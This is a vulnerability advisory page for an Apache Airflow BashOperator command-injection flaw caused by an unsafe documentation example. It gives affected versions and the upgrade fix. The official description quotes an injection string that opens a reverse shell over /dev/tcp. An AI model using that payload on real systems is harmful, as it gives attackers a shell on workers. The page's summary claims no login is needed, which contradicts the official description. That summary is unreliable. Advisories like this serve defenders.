CVE-2026-42252 Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Authenticated users can execute arbitrary commands if Dag authors copied an insecure BashOperator example from Airflow documentation.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2026-42252?
CVE-2026-42252 is a critical command injection vulnerability in Apache Airflow, published on 1 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Weakness: CWE-1336
Which versions are affected by CVE-2026-42252?
4 open source packages ship an affected version, including apache-airflow and airflow. It affects 1 product.
| Package | Affected | Fixed in |
|---|---|---|
apache-airflow PyPI | From 3.0.0 | 3.2.2 |
apache-airflow PyPI | From 3.0.0 | 3.2.2 |
apache-airflow PyPI | From 3.0.0 | 3.2.2 |
airflow Bitnami | From 3.0.0 | 3.2.2 |
Products include Apache Airflow.
How do I fix CVE-2026-42252?
Upgrade apache-airflow to 3.2.2 or later.
Upgrade, and pass arguments to programs as a list instead of through a shell. More about Command injection.
Is CVE-2026-42252 being exploited?
There is no known exploitation of CVE-2026-42252 in the wild and no public exploit code.
Other vulnerabilities in Apache Airflow
- CVE-2020-13927 Apache Airflow's Experimental API Authentication Bypass
- CVE-2020-11978 Apache Airflow Command Injection
- CVE-2026-33264 Apache Airflow: DAG author RCE on webserver via unrestricted import_string() in BaseSerialization.deserialize()
- CVE-2023-25754 Apache Airflow: Privilege escalation using airflow logs
- CVE-2023-22884 Apache Airflow, Apache Airflow MySQL Provider: Arbitrary file read via MySQL provider in Apache Airflow
Sources
Also known as BIT-airflow-2026-42252, ECHO-e5bf-6322-947e, GHSA-c85c-g9wv-pph2, MINI-3cm5-5hh3-pfwq, PYSEC-2026-184.